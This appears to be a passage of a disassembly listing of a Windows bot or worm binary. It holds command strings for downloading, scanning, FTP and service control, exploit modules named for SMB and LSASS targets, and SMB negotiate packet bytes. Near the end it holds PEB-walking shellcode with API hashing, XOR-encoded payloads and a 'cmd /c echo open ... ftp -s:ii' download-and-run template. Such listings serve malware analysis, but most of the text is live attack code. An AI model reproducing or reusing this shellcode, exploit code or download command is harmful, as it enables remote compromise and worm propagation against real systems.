sub_4201F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o align 10h aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo align 4 aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o align 4 aBai_0 db ' -bai ',0 align 10h aSCS db '%s%c%s',0 align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o align 4 dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o align 4 dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo align 8 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o align 4 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o align 10h dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao align 10h aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o ; sub_40F060+Ao ... align 10h dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o align 8 aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o align 4 dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o align 10h aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo align 4 dd 0 asc_444C5C db ' :',0 ; DATA XREF: sub_410030+E2Bo ; sub_410030+1118o ... align 10h asc_444C60: ; DATA XREF: sub_410030+CACo ; sub_410030+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o ; sub_410030:loc_410C87o aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo ; sub_410030:loc_410C66o asc_444C6C: ; DATA XREF: sub_410030+871o ; sub_410030:loc_410CA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_410030+7CCo ; sub_410030+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do ; sub_410030+732o ... align 10h dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o ; sub_412780+91o ... align 10h aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o align 10h aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o ; sub_426070+12Do ... align 4 aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo ; sub_412A40+8Fo align 8 aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o align 10h a_ db '. ',0 ; DATA XREF: sub_412780+CAo ; sub_412780+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao align 10h asc_444D10: ; DATA XREF: ___:loc_412F33o dw 3Ch unicode 0, <>,0 asc_444D14: ; DATA XREF: ___:loc_412F1Co dw 3Eh unicode 0, <>,0 asc_444D18 db '==',0 ; DATA XREF: ___:loc_412F05o align 4 asc_444D1C db '!=',0 ; DATA XREF: ___:00412EF1o align 10h a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo align 10h aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o ; sub_4193C0+29Bo align 10h aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o align 4 aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o dd 0 off_444D5C dd offset dword_504354 ; DATA XREF: sub_4193C0+140o ; ___:0042C5F2o ... dword_444D60 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo dword_444D6C dd 652Dh dword_444D70 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 4 dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DAC db 1 ; DATA XREF: sub_41A390r align 10h dword_444DB0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444DFC: ; DATA XREF: ___:00421859o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E10 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E24 dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E5C dd 63257325h, 0 ; sub_41F960+E5o dword_444E64 dd 72h dword_444E68 dd 30h ; sub_424920+327o dword_444E6C dd 3039h dword_444E70 dd 383631h dword_444E74 dd 323931h dword_444E78 dd 3631h dword_444E7C dd 323731h dword_444E80 dd 3031h off_444E84 dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E88 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E8C dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444E90 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444E94 dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o align 10h aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o align 10h asc_444ED0 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo db 0Dh,0Ah,0 align 4 aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o align 4 aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o ; ___:0041FD87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o align 10h dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo align 8 aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo align 8 aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo dd 0 dword_444FD4 dd 28737973h, 6F626572h, 29746Fh, 0dword_444FE4 dd 6469706Bh, 7325203Ah, 0dword_444FF0 dd 203A736Bh, 7325hdword_444FF8 dd 202E6425h, 7325202Fh, 0dword_445004 dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o align 8 a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o ; sub_41F030+6A9o align 10h a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o ; sub_41F030+677o align 4 aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41F030+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo align 4 a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o ; sub_41F030+51Ao align 10h asc_445080: ; DATA XREF: sub_41F030+2EFo ; sub_41F030+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o ; sub_41F030+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o ; sub_41F030+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o ; sub_41F030+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o ; sub_41F030+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo align 10h aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co align 10h dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o ; sub_420630+C4r ... align 8 aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo ; sub_4208E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o ; sub_4208E0+2BEo align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o align 10h aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o align 8 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o align 4 aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o ; sub_420630+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co align 10h aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o align 8 aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o align 10h aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o align 4 aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o align 10h aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo align 4 aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o align 10h aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do align 10h aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o align 4 aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co align 10h aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo align 4 aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o align 10h aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o align 10h aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo align 4 off_4452FC dd offset word_616C4E ; DATA XREF: sub_4208E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o align 4 aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo align 4 off_445314 dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o align 4 dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o align 8 aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do align 10h aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o align 10h aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do align 10h aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o align 10h aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o ; sub_4208E0:loc_420B6Bo align 4 asc_4453E8: ; DATA XREF: sub_420F10:loc_420FCFo ; sub_420F10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o ; sub_420F10:loc_42117Eo ... aHttp db 'http',0 ; DATA XREF: sub_420F10+84o ; sub_420F10+257o ... align 4 aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445420 dd 1BDh ; sub_422B40+310o ... off_445424 dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445428 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 4 dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 10h aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 10h aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 4 aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 10h dd 0 off_4455E4 dd offset dword_622D20 ; DATA XREF: sub_422B40+747o off_4455E8 dd offset locret_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455EC dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 8 aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 8 aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o dd 2 dup(0) aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 10h aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 10h aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h dd 2 dup(0) aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 10h aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 10h dd 0 dword_4456E4 dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 8 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 4 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o dword_445750 dd 2 dup(0) aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo align 10h aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 8 aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o dd 3 dup(0) aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 10h aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o align 10h aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo align 4 dword_4458A8 dd 10FF8h, 0 dword_4458B0 dd 10FF8h dword_4458B4 dd 7FFDF020h, 0 dword_4458BC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_445944 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_445974 dd 0 dword_445978 dd 800000D4h align 10h ; =============== S U B R O U T I N E ======================================= sub_445980 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A7C push dword ptr [esi] push 63D61209h call sub_445A92 mov [esi+8], eax call sub_445A45 push dword ptr [esi+4] push 0CA2BD06Bh call sub_445A92 mov [esi+0Ch], eax call sub_4459F7 push dword ptr [esi+4] push 4C0297FAh call sub_445A92 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445980 endp ; =============== S U B R O U T I N E ======================================= sub_4459F7 proc near ; CODE XREF: sub_445980+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A20 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4459F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A20 proc near ; CODE XREF: sub_4459F7+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A2F: ; CODE XREF: sub_445A20+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A3C inc ebx jmp short loc_445A2F ; --------------------------------------------------------------------------- loc_445A3C: ; CODE XREF: sub_445A20+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A20 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A45 proc near ; CODE XREF: sub_445980+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A5D: ; CODE XREF: sub_445A45+1Ej cmp [ecx], ebx jz short loc_445A65 mov ecx, [ecx] jmp short loc_445A5D ; --------------------------------------------------------------------------- loc_445A65: ; CODE XREF: sub_445A45+1Aj mov edx, edi loc_445A67: ; CODE XREF: sub_445A45+2Aj cmp [edx+4], ebx jz short loc_445A71 mov edx, [edx+4] jmp short loc_445A67 ; --------------------------------------------------------------------------- loc_445A71: ; CODE XREF: sub_445A45+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A45 endp ; =============== S U B R O U T I N E ======================================= sub_445A7C proc near ; CODE XREF: sub_445980+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A7C endp ; =============== S U B R O U T I N E ======================================= sub_445A92 proc near ; CODE XREF: sub_445980+16p ; sub_445980+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AA8: ; CODE XREF: sub_445A92+33j jecxz short loc_445AE2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_445AB5: ; CODE XREF: sub_445A92+2Dj lodsb cmp al, ah jz short loc_445AC1 ror edi, 0Dh add edi, eax jmp short loc_445AB5 ; --------------------------------------------------------------------------- loc_445AC1: ; CODE XREF: sub_445A92+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AA8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445AE2: ; CODE XREF: sub_445A92:loc_445AA8j ; sub_445A92:loc_445AE2j jmp short loc_445AE2 sub_445A92 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_445AE8 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B3A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445B05: ; CODE XREF: sub_445AE8+38j jecxz short loc_445B35 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B10: ; CODE XREF: sub_445AE8+32j lodsb test al, al jz short loc_445B1C ror edx, 0Dh add edx, eax jmp short loc_445B10 ; --------------------------------------------------------------------------- loc_445B1C: ; CODE XREF: sub_445AE8+2Bj cmp edx, [esp+arg_0] jnz short loc_445B05 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B35: ; CODE XREF: sub_445AE8:loc_445B05j mov [esp+arg_0], ebx retn sub_445AE8 endp ; =============== S U B R O U T I N E ======================================= sub_445B3A proc near ; CODE XREF: sub_445AE8+7p ; FUNCTION CHUNK AT 00445B72 SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B53 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B5E ; --------------------------------------------------------------------------- loc_445B53: ; CODE XREF: sub_445B3A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B5E: ; CODE XREF: sub_445B3A+14j pop edi xor esi, esi pusha push esi jmp short loc_445B72 sub_445B3A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B65 proc near ; CODE XREF: sub_445B3A:loc_445B72p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B65 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B3A loc_445B72: ; CODE XREF: sub_445B3A+29j call sub_445B65 ; END OF FUNCTION CHUNK FOR sub_445B3A ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C0C dd 23h dword_445C10 dd 60h dword_445C14 dd 62B0606h, 2050501h, 0A0hdword_445C20 dd 0A1h dword_445C24 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 10h loc_445C30: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C38 ; --------------------------------------------------------------------------- align 8 dword_445C38 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445CF2 ; =============== S U B R O U T I N E ======================================= sub_445CE2 proc far ; CODE XREF: sub_445CE2:loc_445CF2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CEA: ; CODE XREF: sub_445CE2+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CEA jmp short loc_445CF7 ; --------------------------------------------------------------------------- loc_445CF2: ; CODE XREF: ___:00445CE0j call near ptr sub_445CE2 loc_445CF7: ; CODE XREF: sub_445CE2+Ej jo short loc_445D5B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D79 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D5B: ; CODE XREF: sub_445CE2:loc_445CF7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D79: ; CODE XREF: sub_445CE2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E20: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E32 ; =============== S U B R O U T I N E ======================================= sub_445E22 proc near ; CODE XREF: sub_445E22:loc_445E32p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E2A: ; CODE XREF: sub_445E22+Cj xor byte ptr [edx+ecx], 99h loop loc_445E2A jmp short loc_445E37 ; --------------------------------------------------------------------------- loc_445E32: ; CODE XREF: ___:loc_445E20j call sub_445E22 loc_445E37: ; CODE XREF: sub_445E22+Ej jo short near ptr dword_445DB0+1Eh cwde cdq cdq retn sub_445E22 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 